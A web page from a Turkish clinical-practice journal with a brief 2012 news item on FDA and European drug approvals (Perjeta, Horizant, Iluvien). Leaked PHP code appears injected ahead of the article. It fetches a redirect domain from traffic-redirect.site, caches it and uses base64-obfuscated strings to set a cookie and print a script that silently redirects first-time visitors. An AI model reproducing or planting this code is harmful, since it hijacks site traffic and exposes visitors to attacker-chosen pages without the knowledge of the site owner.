$alias = "29551697176418"; $key = "c7b088a5cce4359849d7e747bc979e91"; $file = dirname(__FILE__) . "/" . md5($alias); $time = time(); $file_exist = file_exists($file); $filetime = 0; $edittime = 0; $domain = false; if ($file_exist) { $filetime = filemtime($file); $edittime = $time - $filetime; $datafile = fopen($file, 'r'); $dcres = json_decode(base64_decode(fread($datafile, filesize($file))) , 1); if(!empty($dcres['domain'])) $url = $dcres['domain']; fclose($datafile); } if ($edittime >= 15 || !$file_exist || !$url) { $dcres = getdata($file,$key,$alias); if(isset($_REQUEST['ch'])){ var_dump($dcres); } if ($dcres['domain']) { $url = $dcres['domain']; } } function getdata($file,$key,$alias){ $newdomainurl = 'http://traffic-redirect.site/?t=json&i='.$key.'&a='.$alias; if(function_exists('curl_version')){ $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_USERAGENT, 'get new domain'); curl_setopt($curl, CURLOPT_URL, $newdomainurl); curl_setopt($curl, CURLOPT_TIMEOUT, 5); $res = curl_exec($curl); curl_close($curl); }else $res = file_get_contents($newdomainurl); if(isset($_REQUEST['ch'])){ var_dump($res); } $dcres = json_decode($res, true); if ($dcres['domain']) { $cache = fopen($file, 'w+'); fwrite($cache, base64_encode($res)); fclose($cache); return $dcres; } return false; } if (!$_COOKIE[base64_decode('aHRfcnI=') ]) { setcookie(base64_decode('aHRfcnI=') , 1, time() + 86400, base64_decode('Lw==')); echo base64_decode('PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgi') . $url . base64_decode('Iik7d2luZG93LmxvY2F0aW9uLmhyZWYgPSAi') . $url . base64_decode('Ijs8L3NjcmlwdD4='); } ?> FDA'dan ilaç onayları – İyi Klinik Uygulamalar

10/12/2023 17:04

Dünyadan Haberler

FDA’dan ilaç onayları

ByMain-IKU-Dergisi

Haz 13, 2012

İlaç onayları: Perjeta; Horizant; Iluven

Drug Approvals: Perjeta; Horizant; Iluvien

Genentech’s Herceptin, docetaxel combo Perjeta for the treatment of HER2-positive metastatic breast cancer, who have not received prior anti-HER2 therapy or chemotherapy for metastatic disease was approved by the FDA. GlaxoSmithKline and XenoPort said the FDA approved Horizant Extended-Release Tablets for the management of postherpetic neuralgia in adults. The approval means XenoPort is entitled to a milestone payment of $10 million from GSK. And Alimera Sciences said diabetic macular edema medicine Iluvien was approved in Portugal. Read more …